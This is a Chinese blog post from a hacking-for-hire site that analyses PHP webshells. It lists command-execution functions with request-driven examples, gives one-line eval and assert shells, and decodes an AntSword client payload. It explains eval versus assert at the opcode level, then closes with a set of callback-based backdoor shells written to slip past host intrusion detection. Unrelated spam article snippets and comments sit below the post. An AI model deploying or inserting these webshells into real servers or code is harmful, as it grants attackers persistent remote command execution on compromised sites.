当前位置:首页 > 黑客业务 > 正文内容

分析webshell(php)以及eval与assert区别

访客4年前 (2021-04-15)黑客业务617

webshell分类

一句话木马

可以在目标服务器上执行PHP代码,并和客户端(如菜刀,Cknife、冰蝎、蚁剑)进行交互的webshell,俗称小马。

多功能木马

根据PHP语法,编写较多代码,并在服务器上执行,完成所有功能的Webshell,俗称大马

逻辑木马

利用系统逻辑漏洞(如php uaf漏洞),绕过访问控制或执行特殊功能的WebShell

PHP 可执行系统命令的函数

system

string system ( string $command [, int &$return_var ] ); # $command为执行的命令,&return_var可选,用来存放命令执行后的状态码 # system 函数执行有回显,可将结果显示在页面上 <?php system("whoami"); ?>

passthru

void passthru ( string $command [, int &$return_var ] ); # 和system函数类似,$command为执行的命令,&return_var可选,用来存放命令执行后的状态码 # passthru 执行有回显,可将执行结果显示在页面上 <?php passthru("whoami"); ?>

exec

string exec ( string $command [, array &$output [, int &$return_var ]] ); # $command是要执行的命令 # $output是获得执行命令输出的每一行字符串,$return_var用来保存命令执行的状态码(检测成功或失败) # exec()函数执行无回显,默认返回最后一行结果 <?php echo exec("whoami"); ?> <?php $test="ipconfig"; exec($test,$array); print_r($array); ?>

shell_exec

string shell_exec( string &command); # $command是要执行的命令 # shell_exec()函数默认无回显,通过 echo 可将执行结果输出到页面 <?php echo shell_exec("whoami"); ?> # `(反引号) shell_exec() 函数实际上仅是反引号 (`) 操作符的变体,当禁用shell_exec时,` 也不可执行 # 在php中称之为执行运算符,PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回 <?php echo `whoami`; ?>

popen

resource popen ( string $command , string $mode ); # 函数需要两个参数,一个是执行的命令command,另外一个是指针文件的连接模式mode,有r和w代表读和写。函数不会直接返回执行结果,而是返回一个文件指针,但是命令已经执行。popen()打开一个指向进程的管道,该进程由派生给定的command命令执行而产生。返回一个和fopen()所返回的相同的文件指针,只不过它是单向的(只能用于读或写)并且必须用pclose()来关闭。此指针可以用于fgets(),fgetss()和 fwrite() <?php $command=$_POST[cmd]; $fp=popen($command,"r"); while (!feof($fp)) { $out=fgets($fp, 4096); echo $out; } pclose($fp); ?>

proc_open

resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] ); # 与Popen函数类似,但是可以提供双向管道 <?php $command=$_POST[cmd]; $array=array( array("pipe","r"), //标准输入 array("pipe","w"), //标准输出内容 array("pipe","w") //标准输出错误 ); $fp=proc_open($command,$array,$pipes); //打开一个进程通道 echo stream_get_contents($pipes[1]); //为什么是$pipes[1],因为1是输出内容 proc_close($fp); ?>

pcntl_exec

void pcntl_exec ( string $path [, array $args [, array $envs ]] ) # path是可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本 # args是一个要传递给程序的参数的字符串数组。 # pcntl是linux下的一个扩展,需要额外安装,可以支持 php 的多线程操作。 # pcntl_exec函数的作用是在当前进程空间执行指定程序,版本要求:PHP > 4.2.0

蚁剑连接webshell分析

上述函数都是可以作为一个简单的webshell执行一些系统的命令,那么与客户端(菜刀,CKnife,蚁剑,冰蝎)完成交互的webshell是什么样的呢?

准备一个一句话木马

<?php @eval($_POST['cmd']);?>

在蚁剑添加手动代理,用Burp抓包分析,如下图所示:

将cmd参数解码可以看到

// 临时关闭PHP的错误显示功能 @ini_set("display_errors", "0"); // 设置执行时间,为零说明永久执行直到程序结束,是为了防止像dir、上传文件大马时超时。 @set_time_limit(0); // asenc方法,接收参数,返回参数 function asenc($out){ return $out; }; function asoutput(){ // 从缓冲区取出数据 $output=ob_get_contents(); // 清空缓冲区,并将缓冲区关闭 ob_end_clean(); echo "b48a94c80a"; // 输出数据 echo @asenc($output); echo "606e3eed3"; } // 打开缓冲区,来保存所有的输出 ob_start(); try{ // $_SERVER["SCRIPT_FILENAME"]是获取当前执行脚本的绝对路径,dirname() 函数返回路径中的目录名称部分,也就是说$D是当前执行脚本所在的目录 $D=dirname($_SERVER["SCRIPT_FILENAME"]); if($D=="") // $_SERVER["PATH_TRANSLATED"]获取当前脚本所在文件系统(不是文档根目录)的基本路径。这是在服务器进行虚拟到真实路径的映像后的结果 $D=dirname($_SERVER["PATH_TRANSLATED"]); // 拼接字符串和一个制表位 $R="{$D} "; // 判断是否为Linux的文件目录 if(substr($D,0,1)!="/"){ // 遍历盘符 foreach(range("C","Z")as $L) // 如果存在盘符 if(is_dir("{$L}:")) // 拼接字符串 $R.="{$L}:"; }else{ // 否则拼接/ $R.="/"; } // 拼接制表位 $R.=" "; // 判断posix_getegid方法是否存在,存在调用该方法按用户id返回用户相关信息 $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):""; // 如果用户信息不为空,则返回name属性,否则调用get_current_user()方法 $s=($u)?$u["name"]:@get_current_user(); // 返回运行 PHP 的系统的有关信息 并拼接 $R.=php_uname(); $R.=" {$s}"; echo $R; ;} catch(Exception $e){ // 捕获异常 echo "ERROR://".$e->getMessage(); }; // 运行程序 asoutput(); die();

将此代码放置在eval函数中执行,返回结果如下图所示:

这说明了eval函数将字符串按照php code解析并执行了,所以客户端只要构造好相应的php code,发送给服务器上的webshell,则可以执行并返回。

当我们再使用列目录的时候截断,可以看到如下图所示,蚁剑客户端还是将封装好的代码发送给了服务端的webshell

@ini_set("display_errors", "0"); @set_time_limit(0); function asenc($out){ return $out; }; function asoutput(){ $output=ob_get_contents(); ob_end_clean(); echo "7322e6777"; echo @asenc($output); echo "7529076fb4d2"; } ob_start(); try{ $D=base64_decode($_POST["od0d1a967133cb"]); $F=@opendir($D); if($F==NULL){ echo("ERROR:// Path Not Found Or No Permission!"); }else{ $M=NULL; $L=NULL; while($N=@readdir($F)){ $P=$D.$N; $T=@date("Y-m-d H:i:s",@filemtime($P)); @$E=substr(base_convert(@fileperms($P),10,8),-4); $R=" ".$T." ".@filesize($P)." ".$E." "; if(@is_dir($P)) $M.=$N."/".$R; else $L.=$N.$R; } echo $M.$L; @closedir($F); }; }catch(Exception $e){ echo "ERROR://".$e->getMessage(); }; asoutput(); die(); &od0d1a967133cb=QzovcGhwU3R1ZHkvV1dXLw==

其中od0d1a967133cb=QzovcGhwU3R1ZHkvV1dXLw==,这个od0d1a967133cb key的value值是base64解码之后就是我的web服务的根目录,可以看见,其实用于eval函数执行的代码都是大体相同的,只是更改了try-catch代码块中的逻辑,对于传统的webshell管理工具,连接webshell并且执行相关命令需要使用类似eval,assert等函数将字符串当作php代码执行的性质,当连接成功之后,就可以利用当前web容器可解析的语言执行代码,并完成相关的操作。

这里总结一下,脚本要将字符串(或文件流)当做PHP代码来执行,主要会使用到以下函数:

:PHP 4,PHP 5,PHP 7+ 均可用,接收一个参数,将字符串作为PHP代码执行

<?php eval("echo system('whoami');"); ?> //一句话 <?php @eval($_POST['cmd']); ?>

: PHP 4,PHP5,PHP7.2以下均可使用,一般接收一个参数,PHP5.4.8版本后可以接受两个参数

<?php assert("system('whoami')"); ?> // 一句话 <?php assert($_POST['cmd']); ?> <?php assert($_GET['cmd']); ?>

正则匹配类:,,等

// php5.5.0 以下 /e参数还能执行 <?php preg_replace("/test/e","system('whoami')","jutst test"); ?> // 一句话 <?php preg_replace("/test/e",@eval($_POST['cmd']),"jutst test"); ?> <?php preg_replace("/test/e",$_POST['cmd'],"jutst test"); ?> // php5.5.0+ /e 参数不能使用,推荐使用preg_replace_callback <?php function result(){ return system("whoami"); } preg_replace_callback("http://","result",""); ?> // 一句话马 <?php function result(){ return @eval($_POST['h']); } preg_replace_callback("http://","result",""); ?>

文件包含类:,,,,等

eval与assert函数的区别

话说做webshell检测的时候,因为要绕过HIDS,常规的一句话木马,大马都基本上会被拦截,不得不去找了一些php提供的”安全函数“(ps,这里我所指的“安全函数”是php的内置的回调函数,因为本身这些方法都是php自提供的,所以还是一定程度上可以绕过的)。开始使用的时候发现eval不能作为回调函数的后门?而是要用assert函数来代替eval?

意思就是当我们构造一个双变量马的时候,不能使用1=eval&2=xxx来使用,而只能使1=assert&2=command做为密码连接,或者1=system&2=whoami来执行命令

好奇心害死猫

查看官方文档,他告知我如下:

eval是一个语言构造器,而不是一个函数,不能被可变函数调用;

然后我又去查询什么是可变函数,官方的定义如下:

PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途,可变函数不能用于例如 echo,print,unset(),isset(),empty(),include,require 以及类似的语言结构。需要使用自己的包装函数来将这些结构用作可变函数。

到这里其实官方已经说得很清楚了,但是我还是想一探究竟,深入浅出

安装vld扩展(这里提示,安装扩展在linux下,且php是自编译的,安装扩展是最简单的)

使用vld扩展,可以清楚的看到,函数,函数在中执行过程

关于php解释型语言以及opcode的一些解释

php是解释型语言,所谓“解释型语言”就是指用这种语言写的程序不会被直接编译为本地机器语言(native machine language),而是会被编译为一种中间形式(代码),很显然这种中间形式不可能直接在CPU上执行(因为CPU只能执行本地机器指令),但是这种中间形式可以在使用本地机器指令(如今大多是使用C语言)编写的软件上执行。

PHP使用主要虚拟机(Zend虚拟机,译注:HHVM也是一种执行PHP代码的虚拟机,但很显然Zend虚拟机还是目前的主流)可以分为两大部分,它们是紧密相连的:

  • 编译栈(compile stack):识别PHP语言指令,把它们转换为中间形式

  • 执行栈(execution stack):获取中间形式的代码指令并在引擎上执行,引擎是用C或者汇编编写成的

OPCode

Zend VM的一个OPCode对应虚拟机的一个底层操作。Zend虚拟机有很多OPCode:它们可以做很多事情。随着PHP的发展,也引入了越来越多的OPCode,这都是源于PHP可以做越来越多的事情。可以在PHP的源代码文件Zend/zend_vm_opcodes.h中看到所有的OPCode。

Zend VM的每个OPCode的工作方式都完全相同:它们都有一个handler(译注:在Zend VM中,handler是一个函数指针,它指向OPCode对应的处理函数的地址,这个处理函数就是用于实现OPCode具体操作的),这是一个C函数,这个函数就包含了执行这个OPCode时会运行的代码(例如“add”,它就会执行一个基本的加法运算)。每个handler都可以使用0、1或者2个操作数:op1和op2,这个函数运行后,它会后返回一个结果,有时也会返回一段信息(extended_value)

php5

如下图所示,可以看到是去处理,而是用去处理

在php源文件Zend/zend_vm_opcodes.h中看到所有的OPCode,其中在Zend/zend_vm_def.h文件中可以看见DO_FCALL这个OPCode的具体操作

DO_FCALL

在这里说一下第一个判断条件,因为确实不懂,在网上找了与一下相关的解释

//如果EG(active_op_array)->run_time_cache[]数组中存在这个值,就取出来,毕竟C原生态数组取数据速度要远远超过zend_hash_quick_find(毕竟他要计算hash值,还要遍历,不能达到真正的O(1) if (CACHED_PTR(opline->op1.literal->cache_slot)) { ce=CACHED_PTR(opline->op1.literal->cache_slot); }

然后如果C原生态数组里没有这个函数,就会进入else if中,进行一个哈希查找,并把函数指针放入 EX(function_state).function,最后再调用该函数

INCLUDE_OR_EVAL

到这里就可以看到为什么eval参数中必须是php代码,而不是命令,当在eval中的参数为命令的时候,就会出现的错误,当参数为php代码的时候,就会直接编译执行参数。

从OPCode中可以看到,eval就是Zend函数,assert是宏编写的,最后在调用上是不同的,如下图所示,eval就不是宏定义的

php7

在php7+中,assert断言也已经成为语言解释器,再也不是函数了,所以在php7中使用assert作为回调后门不能成功的原因就在于此

回调后门函数

给大家留点彩蛋吧哈哈哈,我实在太菜了

register_shutdown_function

// (PHP 4, PHP 5, PHP 7) // register_shutdown_function — 注册一个会在php中止时执行的函数 // register_shutdown_function ( callable $callback [, mixed $parameter [, mixed $... ]] ) : void
// php7+ 存在立即执行函数(function($a){@eval($a)})($_POST['cmd'])
<?php
function test($a){
@eval("$a");
}
register_shutdown_function(test,$_POST['cmd']);
?>

array_udiff_assoc

// (PHP 5, PHP 7) // array_udiff_assoc — 带索引检查计算数组的差集,用回调函数比较数据 // array_udiff_assoc ( array $array1 , array $array2 [, array $... ], callable $value_compare_func ) : array <?php function test($a){ @eval($a); } array_udiff_assoc(array($_REQUEST['h']),array(1),"test"); ?>

array_intersect_uassoc

// (PHP 5, PHP 7) // array_intersect_uassoc — 带索引检查计算数组的交集,用回调函数比较索引 // array_intersect_uassoc ( array $array1 , array $array2 [, array $... ], callable $key_compare_func ) : array <?php array_intersect_uassoc(array($_REQUEST[h]=>" "),array(1),"assert"); ?> <?php array_intersect_uassoc(array($_REQUEST[h]=>" "),array(1),"system"); ?>

forward_static_call_array

// forward_static_call_array — 调用静态方法并将参数作为数组传递 // forward_static_call_array ( callable $function , array $parameters ) : mixed <?php forward_static_call_array("assert",array($_REQUEST['h'])); ?> <?php forward_static_call_array("system",array($_REQUEST['h'])); ?>

array_intersect_ukey

// (PHP 5 >=5.1.0, PHP 7) // array_intersect_ukey — 用回调函数比较键名来计算数组的交集 <?php array_intersect_ukey(array($_REQUEST['h']=>1),array(1),"assert"); ?> <?php array_intersect_ukey(array($_REQUEST['h']=>1),array(1),"system"); ?>

register_tick_function

// register_tick_function — 注册一个函数,以便在每次被标记时执行 // register_tick_function ( callable $function [, mixed $arg [, mixed $... ]] ) : bool <?php declare(ticks=1); register_tick_function("assert", $_REQUEST['h']); ?> <?php declare(ticks=1); register_tick_function("system", $_REQUEST['h']); ?>

array_reduce

// (PHP 4 >=4.0.5, PHP 5, PHP 7) // array_reduce — 用回调函数迭代地将数组简化为单一的值 // array_reduce ( array $array , callable $callback [, mixed $initial=NULL ] ) : mixed <?php $arr=array(1); array_reduce($arr, "assert", $_REQUEST['h']); ?> <?php $arr=array(1); array_reduce($arr, "system", $_REQUEST['h']); ?>

array_udiff

// (PHP 5, PHP 7) // array_udiff — 用回调函数比较数据来计算数组的差集 // array_udiff ( array $array1 , array $array2 [, array $... ], callable $value_compare_func ) : array <?php $arr=array($_POST['h']); $arr2=array(1); array_udiff($arr, $arr2, "assert"); ?> <?php $arr=array($_POST['h']); $arr2=array(1); array_udiff($arr, $arr2, "system"); ?>


扫描二维码推送至手机访问。

版权声明:本文由黑客接单发布,如需转载请注明出处。

本文链接:https://therlest.com/105840.html

分享给朋友:

“分析webshell(php)以及eval与assert区别” 的相关文章

字节承认商业化团队撤城裁员了

据晋江新闻网2021年10月19日21:00:43的最新发布,微博网友@ 爆料。   平安夜来临之际,事件,在网上炒得沸沸扬扬,引发全网热议!   据悉,黑客追款后来被报道了几次。猜测第六百八十八章逃港者第六百八十九章调侃第六百。相对这个账号是他的。   1.专业网赌追回...

字节承认商业化团队撤城裁员

据晋江新闻网2021年10月19日21:00:43的最新发布,微博网友@ 爆料。 平安夜来临之际,事件,在网上炒得沸沸扬扬,引发全网热议! 据悉,黑客追款后来被报道了几次。猜测第六百八十八章逃港者第六百八十九章调侃第六百。相对这个账号是他的。 1.专业网赌追回律师 首先确保整个真正的黑客追款方案是最...

猪肉怎么选?颜色有区别吗?今天做饭的时候发现上次买的猪肉颜色跟这

猪肉怎么选?颜色有区别吗?今天做饭的时候发现上次买的猪肉颜色跟这 买猪肉时,根据肉的颜色、外观、气味等可以判断出肉的质量是好还是坏。优质的猪肉,脂肪白而硬,且带有香味。肉的外面往往有一层稍带干燥的膜,肉质紧密,富有弹性,手指压后凹陷处立即复原。 次鲜肉肉色较鲜肉暗,缺乏光泽,脂肪呈灰白色;表面带...

宜家自助餐多少钱一位 「天津宜家自助餐多少钱」

食材的流转等息息相关的,白堤路店,就不用付钱了。吃完了,不像别的自助沙拉酱都兑了N多的水!其他」的也是10多块20块一份。鞍山西道,你绝对吃不腻。 举荐菜:当然是面啦!海鲜、你去尝尝吧。 举荐蔡:特色鸡串,金汉斯南美多少烤肉,腌好的肉和没腌的肉都有,200元一位,宜家家居,宜家2楼那个不是自助餐厅,...

存储过程oracle(oracle财务系统)

推荐教程:甲骨文教程 本文主要介绍甲骨文中的数据转换。 1.日期转换成字符串(以2016年10月20日为例) 选择to_char(sysdate,& # 39;yyyy-mm-DD hh24:mi:ss & # 39;)strDateTime从dual-获取年-月-日:分:秒-...

棕榈价格生意社(棕榈油价格最新报价)

DCE,但是今年金融危机的关系,而且各大港口库存量很大,棕榈油氧化稳定性比较好,它的价格是多少呀.短期上涨还是有的。一级一吨2200元,盘面来看。最新 50斤一代。目前市场24度棕榈油,一般以熔点来分,港口出货量维持在100-200吨。天津港报价4940元/吨。 你就按6762一吨吧。6798元,棕...

评论列表

依疚嘟醉
2年前 (2022-07-08)

allback [, mixed $initial=NULL ] ) : mixed<?php $arr=array(1); array_reduce($arr, "assert", $_REQUEST['h']);?><

只酷弥繁
2年前 (2022-07-08)

p assert($_GET['cmd']);?>正则匹配类:,,等// php5.5.0 以下 /e参数还能执行<?php preg_replace("/test/e","system('

弦久蔚落
2年前 (2022-07-08)

("whoami"); } preg_replace_callback("http://","result","");?>// 一句话马<?php function result(){ r

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。